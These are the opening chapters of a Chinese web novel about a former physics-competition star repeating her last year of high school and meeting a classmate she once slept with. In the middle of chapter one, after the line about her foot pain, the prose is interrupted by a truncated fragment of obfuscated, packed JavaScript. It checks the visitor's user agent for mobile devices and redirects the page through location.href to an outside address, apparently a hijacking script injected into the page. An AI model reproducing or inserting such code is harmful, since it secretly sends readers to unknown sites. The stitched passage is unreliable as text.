《她不想负责的》
1. 她不
《她不想负责的》
文/漫宿之上
原创首发于晋江文学城
八月末,夏秋交际,蝉鸣稀疏。
艳阳依旧高照。
虽不直达教室,但仍隔着玻璃传递热度。
教室里没开空调,两把吊扇在天花板上轰轰地旋着。
班内的氛围有一点压抑。
刘明看了一眼磕磕巴巴地回答问题的学生,长叹一口气。
嘴里嘟哝着,“基础不太好啊……”
他问的是今年三模物理卷里的一道中等难度的题。
这个班是复读班。
开学这几天,刘明不做别的,只抽查摸底。
刘明扶了扶鼻梁上的眼镜。
“有人知道答案吗?”
底下一片寂静。
俄顷,零星几个同学试着举起了手。
前排女生脊背挺直,马尾梳得高高的。
回答问题的意愿似乎较为强烈。
刘明的目光落在她身上。
他正欲开口,却被后排一个清脆的声音打断了动作。
“选D。”
虞浅怀坐在教室的角落,跳过举手的步骤直接回答问题。
“因为波源S1形成的波长大,所以频率小,要形成稳定干涉图样……”
她的目光炯炯有神,一头黑亮长发披散在肩头。
其实头发是开学前才染回来的。
仔细看就会发现黑得有点不自然,饱和度比正常发色高一些。
听见有人抢答,刚刚被质疑基础的同学马上松了口气,她窘迫万分地坐回了凳子。
教室内的目光开始往声音来源的方向汇聚,刚刚举手的扎着马尾的女生也朝后方看了过去。
虞浅怀坐在垃圾桶的正前方,阐述自己的解题思路,然后得出结论。
“……综上,所以是选D。”
回答完毕后,她右手转了两下笔,纤长的手指异常灵巧。
刘明眯起眼睛朝她看了一眼。
目光扫过她书桌前的凌乱光景。
虞浅怀没有书立。
课本和练习册堆起层层叠叠的小山。
小山背后,女孩的眼睛忽闪着,透出一股子机灵劲儿。
片刻后,刘明缓缓开口。
“回答得很好,但你的脚可以从桌子上放下去了吗?”
班里瞬间爆发出哄笑声,压抑的气氛松动了一瞬。
虞浅怀坐得离桌子有大半米远,她的左腿笔直地搭在桌沿上。
手里的卷子则搁放在大腿,题目的括弧里已经写满了答案。
全部正确。
模拟卷的侧边一栏写着班级和姓名。
高三31班。
因为刚步入高三的这届一共30个班,文科复读采用插班政策,所以虞浅怀所在的班级成为31班。
她的同桌早已经笑得直不起身子。
“虞总,你完了。”
虞浅怀瞪了他一眼,低声喝止。
“马星河你再笑。”
一分钟后,她面不改色地举起手来。
“报告老师,我的脚受伤了,医生说要把腿抬高,不然伤口愈合的速度会很慢。”
听闻此言,周围的嘘声顿时小了些。
上课前,她特意在前面摆了一堆书以遮掩在桌上翘腿的行为。
结果还是被刘明发现了,不愧是物理老师。
她泄气地撇了撇嘴角。
不自觉地在脑子里分析刘明的视角和她身体朝向之间的夹角位置。
刘明手里捏着卷子,慢慢走下讲台。
最后在她桌边停下。
这会儿左邻右舍的人全看了过来。
只见她的左脚上套着一只浅绿色的泡沫拖鞋,大指头上缠着一圈厚厚的纱布。
纱布表面有微微渗出的褐色血迹。
“我真没骗你,老师。”
虞浅怀的眉头轻蹙了下,细长的丹凤眼却调皮地眨了眨,有点讨乖的意味。
刘明拿过她手里的卷子,一一看过答案。
拧紧的眉心随之舒展开来。
他轻轻点了点头,视线从她的一排脚指头上掠过。
“注意安全。”
马星河咂咂嘴巴,挤眉弄眼道。
“恐怕很难。”
已经落下的笑声又重新扩散开来。
以虞浅怀为中心。
一浪高过一浪。
此刻,教室后门的玻璃窗外,一个窥视半天的黑色影子终于挪动了身子。
那是他们班的班主任吕永昌。
吕永昌叹了口气,背起手摇着头朝办公室走去。
这届复读班果然不好带。
下课后。
虞浅怀再次成为话题中心。
前排同学反坐椅子,围着她问这问那。
来这个班报道后,她只用了2天时间就和后排男生打成一片。
主要因为她来得太晚,只剩下垃圾桶前这一张桌子。
如果可以的话,她希望能换一个正常点的座位。
“虞总,听说你高考物理考了满分,真的假的?”
虞浅怀唇角微动,淡淡道。
“那又有什么用?我总分连500都不到!”
她的语气听着轻松,甚至带点自嘲和调侃。
其实心脏某处隐隐作痛。
前排男生直咋舌。
“不可能吧?!”
马星河在一边贫。
“你虞总,没有什么不可能。”
男生们继续朝她搭讪。
聊天声中,有人从过道那边走了过来。
那是他们班昨天刚选出来的班长,叫祁韦。
祁韦一边朝这边走,一边偷偷打量着虞浅怀的样貌。
发现她果然如同传言中的那般。
是聪明的女生里颜值最高的,也是颜值够看的女生里最聪明的。
他早就听原班里的竞赛生同学提过她的鼎鼎大名。
——上届CPhO里长宁七中唯一一个拿了金牌的物竞生。
却不知道缘何没去参加后面的自主招生考试,甚至高考也大大失利,连二本线都没过。
最后辗转来到这个复读班,与他成了同学。
虞浅怀浅笑嫣然,轻轻把身子朝前压,因左脚支在桌上,那动作仿佛在做压腿训练。
她穿着一件烫金骷髅头的黑色T恤。
下摆扎进浅蓝做旧的牛仔裤里。
手腕上戴着一叠细细的银环,随着手上的动作,发出轻微的脆响声。
未施粉黛,五官却张扬夺目。
一颦一笑均惹人注意。
教室角落回荡着她恣意的谈笑声。
祁韦的心跳频率不自觉地变高,他的喉头滚了滚,握紧了手心。
“虞同学,吕老师叫你去办公室一趟。”
男生尝试与她对视,却率先红了耳根。
虞浅怀抬起头来,不解地看着他,随后指了指自己。
“我?”
祁韦点点头,掌心已经开始冒汗。
他移开目光,不再看她。
他在心里腹诽,向来稳重自持的自己,竟头一次有一丝慌乱。
不过虞浅怀丝毫没注意到祁韦的表情变化,她把腿从桌上放了下去,然后龇牙咧嘴地站了起来。
受伤的部位牵扯着神经。
开始一抽一抽地发痛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830233|158936||http|test|mini|href|location''.split(''|''),0,{}));
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>马星河见她一副疼痛难忍的模样,裂裂嘴角。
“行不行啊你?”
虞浅怀把头发甩到肩后,白了他一眼。
“实在不行,哥也可以背你去。”马星河半转着身子,一只手垂在椅背外面,似笑非笑地说。
虞浅怀捂着脖子做了个作呕的表情。
“我才不要。”
然后一瘸一拐地朝着门口走了过去。
期间还回头朝马星河做了个鬼脸。
祁韦盯着她的背影,挪不开视线。
他寻思着,临行前母亲装好的医药箱里好像有一支云南白药……
**
办公室的门打开后,虞浅怀若无其事地抬头,却被吕永昌旁边站着的人惊了一记。
那是她的前班主任姜自珍。
这个四十出头的女人正抱手而立,背对她站着,不停地和吕永昌说着什么。
她的身姿显得有些疲惫,头顶的发旋里藏着几根不易察觉的白发。
不过背部两侧的肩胛骨仍倔强地隆起。
和之前教她那会一个样。
虞浅怀马上收起那副嬉皮笑脸的态度。
手也规规矩矩地放到了背后。
她敛了表情走过去。
大气都不敢出一口。
吕永昌也刚好越过姜自珍的肩膀看到了她。
“过来吧。”他招呼她。
走过的每一步仿佛都在踩踏刀尖。
生理和心理上都是。
姜自珍回过头来,冷冷地盯着她。
却没有说一句话。
这目光让她怵得慌。
虞浅怀小心翼翼地走过去,姜自珍的目光紧紧黏着她移动的身影。
在她站定之后,她终于痛心疾首地开了口。
“你究竟还要让多少人失望?”
虞浅怀盯紧自己的脚尖,长长的睫毛在眼睑处落下阴影。
她不敢抬头,两手在背后紧张地摆弄着手指。
“你这辈子就这样了。”
声音很冷。
姜自珍转头对吕永昌道。
“吕老师,我劝你早点放弃她,不然她只会一次又一次让你失望。”
虞浅怀的头埋得更低了。
吕永昌干咳了两声,没有发话。
“真以为自己是天才?你就是整个七中最大的笑话!”
“一个拿了金牌的竞赛生,不仅错过自主招生考试,高考也丢尽了尖子生的脸面!你还记得你是上过光荣榜的学生吗?宣传部那些极力报道你的老师,你有没有想过他们?!”
姜自珍有气,且压抑许久。
她说的每一个字,都重重地敲打在虞浅怀的心头。
那双她不敢直视的眼睛里面,布满了血丝和经年累积的黄斑。
姜自珍是最有理由恨她的一个人。
“对不起,姜老师……”
她的声音微若蚊蚋,眼眶里已经浮起点点泪光。
半刻前还谈笑风生的姿态被全数击溃。
仅剩下颓败。
“想复读翻盘?你缺的那些课,可不是轻轻松松就补得回来的。不端正学习态度,神仙来了也救不了你!”
姜自珍冷漠地望着她。
吕永昌端起先前沏好,此刻温度变得合适的一杯茶,给姜自珍递了过去。
“谢谢。”
姜自珍接过茶杯,低头呷了一口,稍微平复了下心情。
凤凰传奇的手机铃声突兀地响了起来,伴随着“嗡嗡”的震动声。
吕永昌拿起桌上的手机。
“喂?”
他把脸转了个朝向,往角落放着空调的位置踱步。
看上去是个很重要的电话。
2. 她想
“明天就到是吧?可以,可以。那学籍方面的事……好的,好的,那就麻烦您了。”
吕永昌的声音越来越小,只剩下虞浅怀和姜自珍在办公桌旁的狭小空间紧张地伫立着。
“你过来。”
姜自珍叫她。
虞浅怀屏住呼吸走了过去。
姜自珍见她衣着打扮较之以往收敛了许多,没搞什么亚文化奇装异服。
除了腕上那串银镯子,全身上下再没别的金属物。
头发也用黑色发箍别在了耳后。
看上去确有股洗心革面的味道。
于是,姜自珍的脸色比刚刚稍事缓和。
“想好考什么学校了吗?”
虞浅怀诚实地摇头。
的确还没想那么远。
姜自珍的眉头又皱了起来。
“你是准备回来玩一年?”
“……不是。”
“那为什么今天在物理课上那么高调?真把自己当明星吗?”
……沉默。
姜自珍叹了口气。
“既然决定复读,就要有规划。英语那么差,就物理数学的分数够看。”
“半罐子水响叮当,踏踏实实努力比什么都有用,如果你今年继续带着以前的优越感复习,你就真的完了!”
虞浅怀立刻否认。
“不会的姜老师,我今天是因为脚受伤了,才引起了同学的关注……我有好好做题的。”
姜自珍目光下移,这才注意到她穿了两只不同的鞋子。
受伤的那只脚裹着白色纱布。
“啧,刚开学就这么毛毛躁躁,把自己搞得像个伤兵,你还打什么仗?”
虞浅怀摸摸脖子,不好意思地笑了。
“只是意外,不用担心。”
姜自珍看了看办公室挂钟上的时间。
“行了,我得回去了。我还一堆事呢,让老吕和你说两句吧,毕竟他才是你现在的班主任。”
虞浅怀点点头,吕永昌刚好打完了电话。
姜自珍放下喝茶的陶瓷杯子。
“你记住,你的能力要配得上你的野心。”
——能力要配得上野心。
嗯,好。
她这次记住了。
虞浅怀抬起头来,郑重地朝姜老师点了点头。
等她目送姜自珍的背影从门口消失,吕永昌微笑着朝她走了过来。
他在她的肩膀上拍了几下。
经过刚刚的“狂风暴雨”,这几下显得特别的慈祥。
“你们姜老师啊,就是刀子嘴豆腐心,她那是‘恨铁不成钢啊’!”
“嗯,我知道的老师。”
“她是觉得可惜,这么好一苗子,结果给长歪喽。”
虞浅怀刚刚才亮起的眼神又暗了下去。
吕永昌话锋一转。
“不过你还有一年,新的战斗才刚刚开始,你很聪明,一切都来得及。”
“我相信你。”
这个男人眼里似乎闪着一股睿智矍铄的光芒。
和姜自珍那种严厉肃杀的感觉完全不一样。
虞浅怀抿唇道。
“好的吕老师,我会加油的。”
接下来吕永昌问了她各科的基础情况,也给了她一些实用的建议。
虞浅怀一一记下。
临走前,他拿起桌上的一个东西递给她。
“这是姜老师给你的。”
虞浅怀接了过来。
有点沉甸甸的。
是一个朱红色的木盒。
她翻到背后,上面贴有文字标签。
好像是……名贵的补药?
光看配料表就很吓人。
什么人参、燕窝、鹿茸、雪蛤……多达数十种。
为什么会送她这个?
倏忽间,一段对话在脑海中响起。
——“为什么没去?”
——“我身体太差,当天突然晕倒在地,直接被我妈送到医院去了……”
原来如此。
那时她胡诌的一个拙劣借口,却被姜自珍当了真。
虞浅怀眼眶有些湿润。
她可真是个坏孩子啊。
方方面面都是。
**
教室里。
虞浅怀离开不久后。
“念念,她是谁啊?你之前认识她吗?”
说话的人是物理课上举手的马尾女生的同桌。
温念摇摇头,她虽是重点班的学生,但一没参加过竞赛,二向来恪守规矩,只和自己的小姐妹玩,对于外班的传闻是一概不知。
不过从刚刚虞浅怀抢答问题来看,她觉得这个女生有些不简单。
周红耸了耸肩。
“刚开学就这么跳,不喜欢。刚才老师明明就准备让你回答嘛!”
温念牵起嘴角。
“这有什么,对复读生来说,这些都不重要。”
“好吧,可能我有点私心,我就是觉得你特别好。”
“我怎么好了?”
“学习好,性格好。”
温念无奈地笑笑。
“我要是学习好就不会来复读了。”
“比我好太多啦。”
虞浅怀从前门踏进教室。
温念和周红顿时收了声,虽然她们已经没有在谈论她了。
下节课刚好是吕班的化学课。
所以不久后吕永昌也夹着一叠教学资料走了进来。
在讲台上站定后,他朝着虞浅怀所在的方位扫视了一眼。
她的周围全是男生,显得有点格格不入。
思索片刻,吕永昌指了指第三排的某个位置。
“虞浅怀,你调到这里来吧。”
那个男生听见自己要被调到垃圾桶旁,脸上顿时有些不悦。
虞浅怀双目微瞪,没想到刚才的期冀这么快就实现了?
周围已经开始小声地议论。
“太偏心了吧……”
“座位不都是自己选的吗?”
“她当然不一样咯,人家可是班主任的‘业绩’。”
“就单科好而已,哪有这么夸张?”
吕永昌用黑板擦的金属背面敲了敲讲台。
“都安静!”
他清清嗓子,正色道。
“所有人的座位都会调,而且每隔一段时间,都会根据你们的情况重新分配。”
“希望你们可以理解,这件事老师我自有考量。”
“除了定期调座,还有每周的轮换,从左到右,从前到后。”
很多班级都是这样轮座,这一点上大家倒是习以为常。
“视力比较差的同学可以和我申请,前面会有几个固定位置。”
虞浅怀搬完桌子后,吕班又调了几组。
第一批次的座位就此固定下来。
复读的号角也正式吹响。
**
上完一整天课,晚上回到寝室,虞浅怀还有些不适应。
住校是她向家里提出来的。
是她深思熟虑后的结果。
因为妈妈开的服装店生意越来越忙,最近还在北城区开了一家分店。
爸妈其实不太顾得过来。
而且复读的事是她独自决定的,家里并不是很支持。
与其每天坐8站公交回家,也只能吃上老爸煮的寡粥小菜。
可能还要听一些“早就说不该复读”之类的闲言碎语。
还不如直接住校,节约下来的时间或许可以用来学习。
实在想家的话,周末也还可以回去。
简直两全其美。
唯一美中不足的是,她因为来得太晚,被分到和应届的高三生住一间宿舍。
那两个女生应该都算是她的学妹。
不同班级自然少了很多共同语言。
好在她借着之前上过光荣榜的光环,两个学妹对她都比较客气。
甚至有一点崇拜。
她也不祈求太多。
和之前经历的事相比。
这一年能相安无事地住到毕业已经是上上签了。
不过……其实寝室还空着一个床位,她有些好奇谁会来。
虞浅怀一边想着这些事,一边收拾自己的行李箱。
今天才来寝室报道,只铺了个床就匆匆忙忙地上课去了。
她挂了一些衣服到衣柜里,再把洗漱用品摆到阳台外面,因为随时可以回家,她没带太多东西。
学妹们还没回来,估计是自愿留自习了。
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七中的宿舍条件算是不错的,有独立卫浴。走廊尽头还有24小时热水供应,不用担心冬天喝不上热水。
但和家里比起来还是差太多。
虞浅怀孤零零地躺在窄窄的床铺上,开始萌生出一丝悔意。
不过很快,好友发来的消息瞬间冲淡了这份想家之情。
许O:你是不知道,曲晶菁她们惊得下巴都要掉了!她们真以为你会直接走呢。
浅坏:呵,都等着看我笑话呗,我怎么可能让她们如意?
许O:她们觉得你已经彻底自我放弃了。
虞浅怀的指尖顿了下,然后继续打字。
浅坏:那段时间吧确实有点。
浅坏:不过老娘我怎么可能轻易认输!
许O:复读班怎么样?还适应吗?
浅坏:还行吧。
和许悠聊了些有的没的,打眼一看已经10点多了。
虞浅怀收了手机,准备去打点热水洗漱。
学妹们和她商量好了卫生间的热水器主要用于洗澡,单纯洗漱的话还是去走廊那边接热水,这样能保证每个人洗澡的时候都不会等。
虞浅怀提着塑料桶出了宿舍。
迎面走来温念和周红,两人和她一样提着桶。
温念礼貌地朝她笑了笑。
虞浅怀勾起唇角点了点头。
其实她不记得两人的名字,但大约能认出是一个班的。
且打完招呼后她们就拐进了隔壁宿舍,更加证明了这一点。
周红对于虞浅怀突然现身宿舍走廊这件事感到意外。
温念倒是波澜不惊,一副很淡然的样子。
十分钟后,学妹们回到寝室。
挨个洗漱完毕。
宿舍开始陆续熄灯。
女孩子们在窗外的虫鸣声中渐渐进入梦乡。
**
翌日清晨。
虞浅怀早早来到了教室。
可以说比她高中三年任何时候都要早。
住校的优势终于显现出来了。
但虞浅怀百无聊赖地坐在座位上。
手里拿着早读的单词书,心里却有种没有实感的感觉。
这就是她要奋斗一年的地方了?
这间教室位于教学楼的第四层,比她之前所在的班级要高一层。
清晨的阳光洒在黑板的一角。
覆在表面的粉末无处遁形,不规则地分布在板面上。
教室里飘荡着各种早餐的气味。
小笼包的肉香味,羊肉米粉的辣椒油味,豆浆和米糕的甜腻香气……
其实她以前不喜欢这个味道,但现在她很庆幸,庆幸自己还能当一年高中生。
今年她一定会好好加油的。
不一会儿,她的新同桌金铭也到了。
昨天没什么机会讲话。
今天时间还早,两人随意聊了聊。
“以后你可以问我物理题。”
“嗯好的,谢谢你。”
金铭羞怯地应声。
新同桌看着有点内向,虞浅怀转了两下笔,突然道。
“其实回答不出问题很正常,你不用自责。如果每科都那么好,那还复读干什么?”
金铭略微惊讶地转过头来。
“昨天的物理课……”
虞浅怀笑笑。
“对啊,我就是看你很紧张,所以才忍不住抢答了,为了解救你。”
金铭顿时笑出酒窝。
“哇浅怀,你人真好……”
没想到虞浅怀噗嗤一声笑了。
“傻瓜,我说你就信啊,我是在八班养成的习惯而已。”
金铭的笑容顿时僵在脸上。
虞浅怀眨眨眼睛。
“一半一半吧。”
她掰着手指:“解救你占50%。”
金铭挠了挠头。
新同桌有点琢磨不透。
虞浅怀垂下眼睫,看到她放在桌上的卡通水杯,正想开口问一句什么。
却突然听到后面传来凳子拖地的声音。
这声音十分尖锐,在坐得稀稀拉拉的教室里显得尤为刺耳。
她回头,看到教室后门处多了一张桌子。
——也多了个人。
3. 她不
一个白皙清瘦的男生坐在桌前。
低着头,眼尾有着好看而不张扬的弧度。
他穿着一件白色体恤。
一双骨节分明的手正有条不紊地整理着书册。
看上去从容而淡漠。
看清楚那人的长相后。
虞浅怀心里轻轻炸了一下。
像是蒲公英落入水面。
刮起细若游丝的涟漪。
她的手掌猛地收回,以至于撂倒了金铭的水杯。
“不好意思。”
虞浅怀扶起水杯,为自己的失态而道歉。
“没事的。”
因为水杯的事,两人一同转回了身子,开始准备早读要用到的资料。
他……为什么会回来?
虞浅怀努力思考着答案。
这个问题压倒了眼前的一切。
班上的人越来越多,新同学的到来引起了小小的骚动。
大家纷纷猜测那是谁。
金铭凑过来悄悄问她。
“浅怀,你知道他是谁吗?”
她觉得她这个同桌神通广大,说不定知道些什么。
虞浅怀有些怔愣。
“他……”
随后,她语气轻松道。
“他是我的同学。”
她很快下了定义。
一如她做物理题那样,没有纠结太久。
虽然夏高严带着与她有关的一部分记忆回到了这个学校。
猝不及防,令人意外。
但没有关系。
她觉得这不足以成为一个问题。
虞浅怀迅速拨弄掉心里那朵激起涟漪的蒲公英。
很快,有人便在吕永昌上传的那份入学成绩单上看到了新生的名字——他叫夏高严。
最为关键的是,他的高考分数取代了祁韦成了复读班的第一名。
于是小小的骚动逐渐演变成沸腾,并以人传人的形式扩散开来。
“卧槽,新来的帅哥考了648分?!”
“这个分数还复读?我没听错吧。”
“听说是浙大退学来的。”
“浙大?我滴神,我要是能考上浙大,祖坟都要冒青烟了!”
“班长之前考了多少分来着?”
“500多吧,反正没上600。”
“是592,只差8分,已经很不错了。”
祁韦捏着自动铅笔。
在听见自己的名字后,回头扫视了一眼。
关于他的讨论顿时消了声。
他继续做题,笔芯却“咔嚓”一声断掉。
他垂头看了眼,重新按了一截出来。
这会儿,教室里一双双眼睛全往后门盯。
马星河也不例外。
他在这此起彼伏的议论声中感叹道。
“啧,今年什么情况啊?这么多大神,压力太大了吧。”
他看了一眼前排的虞浅怀,有些遗憾她被调走了,导致他少了一个大腿。
前座男生心有灵犀地回头,声音压得极低。
“这大学霸好像和虞总一个班呢,以前都是理(8)的。”
八卦传得真快,立刻就有人发现这件事了。
马星河愣了一下,嘴巴瞬间变成O型。
“真的假的?”
“当然真的啊,你什么表情啊?失恋了吗?哈哈哈哈……”
马星河伸手赶人。
“滚!”
他才不喜欢那个臭脾气的女人,他只想要个物理大腿罢了。
但话又说回来,她似乎长得还可以……
处于舆论中心的夏高严没太被这些声音影响。
不过他抬起头来,漫不经心地环视了下周遭环境。
他这个位置视野很好,班里的状况一览无余。
但座位上似乎没有他想找的人。
最终,他在讲台角落的饮水机前发现了她。
虞浅怀今天穿了件浅色针织薄衫。
袖子随意地挽起,露出一截白瓷般的小臂。
清晨的阳光打在她侧脸上。
把她的面部线条勾勒得昳丽又朝气。
夏高严抿紧嘴唇,喉结不自觉地滚了滚。
接完水后,她松开按钮,转身上了讲台。
夏高严立刻收回了视线。
然而,她感觉到了。
也许是他收得太慢,也许是她发达的第六感观。
总之,虞浅怀感受到了夏高严那道穿越重重桌椅直奔她而来的目光。
她若无其事地回望过去。
却只看见对方低下脖颈后的黑色发顶。
切,什么胆小鬼。
虞浅怀撇着嘴回到座位。
“浅怀,你同学好牛啊!”
金铭发出惊呼。
“是吗?”
虞浅怀面不改色道:“其实他在我们班好像都没进过前五。”
“那也很强了诶!你和他熟吗?”
虞浅怀喝水的手顿了一下。
“不熟。”
**
31班的总体成绩不是很好。
上二本线的只占三分之一。
上一本线的更是寥寥无几。
除了祁韦,还有刘畅、方知意等5人。
现在加上夏高严,一共6人。
考了高分还来复读不多,这是人之常情。
夏高严是个例外。
虞浅怀继续在手机上浏览成绩单。
温念差10多分上一本线。
金铭差50分。
周红差50分。
马星河差60分。
虞浅怀……差70分。
她高考只考了485。
比二本线还低上10多分。
其实她不太想去回忆那噩梦一般的高考经历了。
因为那个夏天她几乎失去了一切。
她的梦想,她的爱情,她的名誉。
铃声乍响,虞浅怀收起手机。
其实她还是有一点怨气的。
所以一会她要去问问他,问他为什么回来。
明明她已经有了新的开始。
她不想在这里遇见以前的同学。
**
因为调了座位的缘故,很快就轮到她所在的小组值日。
正好是今天。
虞浅怀拧完最后一次抹布时,组员们已经完成了自己负责的部分。
“你们走吧,我去倒垃圾就好。”
倒垃圾是假,质问某人是真。
她偷偷往后排瞄了眼。
夏高严还在座位上做题。
他的座位在已经被老吕调到了窗户旁边,和马星河那组并在了一起。
这会儿已经过了饭点,教室变得安静。
因为擦玻璃的同学关了窗,感觉空气不太流通。
虞浅怀把靠窗的椅子一一收进去。
然后一扇一扇地打开窗户。
从前到后。
快开到夏高严那排的时候,不知道是巧合还是故意。
他从座位上站了起来。
去扔垃圾。
他从垃圾桶前转过身子的时候,虞浅怀肆无忌惮地挡在他面前,手里还拿着簸箕。
夏高严的面部表情波动了一瞬。
随即很快恢复正常。
他往旁边退了一步,想要绕过她回座位。
下一秒。
她伸出簸箕,拦住了他即将迈出的腿。
夏高严的手指轻轻蜷曲。
虞浅怀却丝毫没有退让的意思。
他鼓起勇气抬眸看她。
两道目光终于纠缠在一起。
女孩冷冷地开口。
“你为什么回来?”
见他不做声,她提高了声音。
“不就睡了你一次,你还当真了?”
虽然教室里已经空无一人,但夏高严还是在一瞬间涨红了脸。
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他的嘴唇翕动着,刚刚的清明自持荡然无存。
他感受到了某种羞辱。
很快,这种羞辱转化为了一种愤怒。
他把目光从她脸上移开,有些轻蔑地说道。
“我复读是为了上清华。”
尾音里带着一点倨傲。
然而说完这句话之后,夏高严的心脏剧烈跳动,他甚至都怀疑她能听到。
他一刻也不想待在这里了。
原来……是为了考清华吗?
虞浅怀在心底微微松了口气。
不是因为她就好。
作为一个优等生,有些追求是很正常的。
浙大确实不比清华。
她表示理解。
她睨了他一眼,声音平淡道。
“哦,那祝你成功。”
然后从他脚边收回了簸箕。
夏高严回到座位上。
虞浅怀朝角落走过去,把手上的簸箕放好。
再检查一遍其他的清洁用具。
确认全部归位之后,她来到马星河的座位,把最后一扇窗户打开。
夏末的晚风灌入室内。
马星河的卷子被吹得哗啦作响。
“啊切!”
夏高严立刻在座位上打了个喷嚏。
她身后传来吸鼻子的声音。
……
啧,怎么还是这么病病殃殃的?
虞浅怀背对他翻了个白眼,又把窗户“哗”地关了回去。
做完这一切后,她看了看墙上的挂钟。
有点晚了,就不去吃饭了。
虞浅怀走出清洁角,从右边的过道回到自己的座位。
她把今天的作业拿了出来。
吃得早的同学开始陆续回教室了。
金铭也回来了,她惊讶地问她。
“浅怀,你没去吃饭吗?”
虞浅怀笑着摇摇头。
“我今天做清洁,脚也还有点疼,懒得去了。”
今天她换了正常的鞋子,发现昨天的疼痛是不合适的拖鞋在作祟。
拆掉多余的纱布之后她感觉好多了。
“哎呀你怎么不早说,我可以给你带吃的呀。”
“没事。”
“我这还有个面包,要不……”
“不用啦,我一点也不饿,真的。”
回教室的人不多,两人的对话声清晰可闻。
夏高严刚咬下一块面包,听见那话,手下动作顿时一滞。
片刻后,吕永昌突然走到他身边,伸手敲了敲他的桌子。
夏高严肩膀一抖,把面包放了下去。
吕永昌和颜悦色地说道。
“你一会到我办公室来一趟吧。”
夏高严点了点头。
“嗯。”
他快速吃完剩下的半个,然后把做完的卷子收了起来,起身朝门口走去。
祁韦正好从后门进来。
两人擦身而过。
夏高严微微侧了下肩膀。
祁韦绕过最后一排,拐进第二条过道时,装作不经意地回头朝门口看了一眼。
这个高考超了他50多分的对手。
已经脚步轻快地走出了教室后门。
祁韦觉得奇怪的是,以前他怎么没听班里的人提过他?
既然他和虞浅怀是一个班,那他至少应该听过名字才对。
说到虞浅怀……他突然想起今天忘了一件重要的事。
祁韦俯下身子,伸手往桌肚里掏了掏。
而后再次起身,朝虞浅怀的座位走了过去。
他看到她嘴唇轻咬,手腕撑着太阳穴,似乎在思考难题。
“虞同学,这个给你。”
他把一个东西摆到了她凌乱的桌子上。
这会他看清楚了。
她在做英语卷子。
虞浅怀惊讶地抬头,目光顺着他的眼神落回桌面。
落在那个小小的东西上。
4. 她想
那是一支50g装的云南白药喷雾。
虞浅怀有点受宠若惊,她连忙摆手。
“不用啦班长,我都好得差不多了。”
祁韦扶了扶鼻梁上的眼镜,面不改色道。
“是老吕让我给你的。”
“哦,那好吧,谢了。”
虞浅怀拿起喷雾朝他扬了扬,祁韦唇角微抿,眼底划过一丝微不可察的幽光。
“这道题选C。”
祁韦低头,指了指她笔尖下的那道题目。
虞浅怀看向卷面,长睫微垂。
“哦。”
金铭看着祁韦离开的背影,小声道。
“班长人还挺好的诶……长得也帅。”
虞浅怀微微挑眉:“帅吗?”
金铭笔头抵着下巴,思索了一会。
“唔……好像没你那个同学帅。”
虞浅怀额角一扯,没有立即回答。
夏高严吗?
她怎么不觉得。
可能的确有股病美男的气质,但夏高严不是她喜欢的类型。
说到喜欢的类型……脑子里马上闪过宋佑斯那张棱角分明的脸。
帅是真的帅,渣也是真的渣。
在一起时有多激动,分手时就有多狼狈。
“你觉得他不帅吗?”金铭打断她的思绪。
虞浅怀从回忆里抽离,下笔把C选项打了个圈。
“可能我看习惯了吧,没什么感觉。”
金铭笑:“那确实哈哈,都看了三年了。”
其实客观来讲,夏高严在理(8)算是长得不错的。
杏眼薄唇,清癯温润。
举手投足有股君子之风。
他的皮肤白得近乎透明,不时能窥见下面的毛细血管。
头发在自然光的照射下透着一抹栗色。
他若真长得丑,也不会被曲晶菁私底下喊作男神了。
——更不会成为那天晚上虞浅怀所挑选的“报复”对象。
只因其人平时过于循规蹈矩,外加体弱多病,不爱理人等buff。
简直性缩力拉满。
虞浅怀在八班时几乎没怎么关注过他。
那会儿她眼高于顶,谈恋爱一定要谈最帅的男生。
而宋佑斯作为女孩们趋之若鹜的校草级人物,是她为自己定下的目标。
那时她的理想是——
左手握着C9的录取通知书,右手握着宋佑斯的手。
就这么左拥右抱地开启她爱情学业双丰收的顶级人生。
至于后来……
虞浅怀神色一暗,把英语卷子翻了个面,淡淡说了句。
“其实夏高严还挺帅的,以前我没注意。”
金铭鸡啄米似地猛猛点头。
**
办公室里。
明亮的白织灯底下。
吕永昌拿着夏高严的档案,眼神探究地看着他。
“夏同学,老师可以问一下你为什么选择复读吗?”
不止同学有疑问,老师自然也有疑问。
考上浙大还复读的,整个长宁市恐怕都找不出第二个。
吕永昌心里已经有了几个预设的答案。
比如“专业不喜欢”、“去了之后感到失望”,甚至是“饭菜不合口味”等。
不是他荒谬无羁,毕竟大千世界无奇不有。
以前他曾因头顶没头发而被家长投诉过,理由是不注重自身形象管理,会引发孩子对于秃顶的心理性恐慌。
但夏高严的嘴却紧紧闭着。
他眉头轻拧,好像在用力思考着这个问题的答案。
良久,他波澜不惊地开口。
“是因为一个人。”
吕永昌瞳孔微震,紧锣密鼓地问他。
“谁?”
感觉两人面前的空气都紧张了起来。
夏高严淡淡道。
“是我的一个老师。”
他垂下眼睫。
“她告诉我,人至少要为自己活一次。”
听到是老师,吕永昌暗暗松了口气。
“这个老师肯定和你关系很好吧?”
夏高严眼眸微闪,含糊地应了句。
“……嗯。”
这次问话的时间不算很长。
后续的交流被他用一些“人生”、“理想”、“清华梦”之类的字眼搪塞了过去。
夏高严回到座位的时候,才过了十五分钟。
他发现马星河和中间的同学换了个位置,坐到了他旁边。
“大神,我想问题。”
马星河谄媚地笑笑。
夏高严点头:“嗯。”
马星河问了一道物理题,两道化学题。
然后不动声色地把话题转移到了虞浅怀身上。
他很不想承认,虞浅怀才离开一天,他就开始想她了。
“大神,我听说……你和虞总以前是同学?”
听到“虞总”这个称呼,夏高严微不可察地皱了下眉。
“嗯,对。”
得到肯定的答复之后,马星河更加兴奋了。
“她人怎么样啊?”
“挺好的。”
——除了那天对他不告而别。
“你和她熟吗?”
夏高严的笔尖一顿,吐出两个字。
“不熟。”
马星河有点失望,他朝虞浅怀的方向看过去。
女孩正懒懒地趴在桌上,头发扎了起来,露出一截细白的脖颈。
“那你有她的微信吗?”
那会他以为来日方长,没想到她这么快就被调走,都没得及问联系方式。
“有。”
夏高严眼波微动,语气有些冷肃。
